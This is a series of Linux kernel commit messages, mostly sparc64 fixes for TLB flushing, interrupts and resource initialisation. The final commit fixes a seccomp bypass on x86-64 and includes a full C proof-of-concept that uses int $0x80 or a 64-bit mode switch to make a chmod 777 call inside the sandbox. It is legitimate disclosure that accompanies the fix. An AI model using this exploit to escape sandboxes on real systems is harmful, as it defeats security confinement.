[ No upstream commit, this regression was added only to 2.6.29.1 ]

Unfortunately I merged an earlier version of commit
b6816b706138c3870f03115071872cad824f90b4 ("sparc64: Flush TLB before
releasing pages.") than what I actually tested and merged upstream.

Simply diffing asm/tlb_64.h in Linus's tree vs. what ended up in
2.6.29.1 confirms this.

Sync things up to fix BUG() triggers some users are seeing.

Reported-by: Dennis Gilmore <dennis@ausil.us>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Chris Wright <chrisw@sous-sol.org>

[ Upstream commit ffaba674090f287afe0c44fd8d978c64c03581a8 ]

Hypervisor versions older than version 1.6.1 cannot handle
leaving the profile counter overflow interrupt chirping
when the system does a soft reset.

So use a reboot notifier to shut off the NMI watchdog.

Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Chris Wright <chrisw@sous-sol.org>

[ Upstream commit a552a42cfa91ab653128dff89a70c8dde7fed042 ]

tlb_flush_mmu() needs to flush pending TLB entries before
processing the mmu_gather ->pages list.

Noticed by Benjamin Herrenschmidt.

Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Chris Wright <chrisw@sous-sol.org>

[ Upstream commit f9384d41c02408dd404aa64d66d0ef38adcf6479 ]

As explained by Benjamin Herrenschmidt:

> CPU 0 is running the context, task->mm == task->active_mm == your
> context. The CPU is in userspace happily churning things.
>
> CPU 1 used to run it, not anymore, it's now running fancyfsd which
> is a kernel thread, but current->active_mm still points to that
> same context.
>
> Because there's only one "real" user, mm_users is 1 (but mm_count is
> elevated, it's just that the presence on CPU 1 as active_mm has no
> effect on mm_count().
>
> At this point, fancyfsd decides to invalidate a mapping currently mapped
> by that context, for example because a networked file has changed
> remotely or something like that, using unmap_mapping_ranges().
>
> So CPU 1 goes into the zapping code, which eventually ends up calling
> flush_tlb_pending(). Your test will succeed, as current->active_mm is
> indeed the target mm for the flush, and mm_users is indeed 1. So you
> will -not- send an IPI to the other CPU, and CPU 0 will continue happily
> accessing the pages that should have been unmapped.

To fix this problem, check ->mm instead of ->active_mm, and this
means:

> So if you test current->mm, you effectively account for mm_users == 1,
> so the only way the mm can be active on another processor is as a lazy
> mm for a kernel thread. So your test should work properly as long
> as you don't have a HW that will do speculative TLB reloads into the
> TLB on that other CPU (and even if you do, you flush-on-switch-in should
> get rid of any crap here).

And therefore we should be OK.

Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Chris Wright <chrisw@sous-sol.org>

When you compile kernel on Sparc64 with heap memory checking and type
"cat /proc/iomem", you get a crash, because pointers in struct
resource are uninitialized.

Most code fills struct resource with zeros, so I assume that it is
responsibility of the caller of request_resource to initialized it,
not the responsibility of request_resource functuion.

After 2.6.29 is out, there could be a check for uninitialized fields
added to request_resource to avoid crashes like this.

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: David S. Miller <davem@davemloft.net>

Otherwise it might interrupt switch_to() midstream and use
half-cooked register window state.

Reported-by: Chris Torek <chris.torek@windriver.com>
Signed-off-by: David S. Miller <davem@davemloft.net>

* git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc-2.6:
  sunhme: Fix qfe parent detection.
  sparc64: Fix lost interrupts on sun4u.
  sparc64: wait_event_interruptible_timeout may return -ERESTARTSYS
  jsflash: stop defining MAJOR_NR

Based upon a report by Meelis Roos.

Sparc64 SBUS and PCI controllers use a combination of IMAP and ICLR
registers to manage device interrupts.

The IMAP register contains the "valid" enable bit as well as CPU
targetting information.  Whereas the ICLR register is written with
zero at the end of handling an interrupt to reset the state machine
for that interrupt to IDLE so it can be sent again.

For PCI slot and SBUS slot devices we can have multiple interrupts
sharing the same IMAP register.  There are individual ICLR registers
but only one IMAP register for managing those.

We represent each shared case with individual virtual IRQs so the
generic IRQ layer thinks there is only one user of the IRQ instance.

In such shared IMAP cases this is wrong, so if there are multiple
active users then a free_irq() call will prematurely turn off the
interrupt by clearing the Valid bit in the IMAP register even though
there are other active users.

Fix this by simply doing nothing in sun4u_disable_irq() and checking
IRQF_DISABLED during IRQ dispatch.

This situation doesn't exist in the hypervisor sun4v cases, so I left
those alone.

Tested-by: Meelis Roos <mroos@linux.ee>
Signed-off-by: David S. Miller <davem@davemloft.net>

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>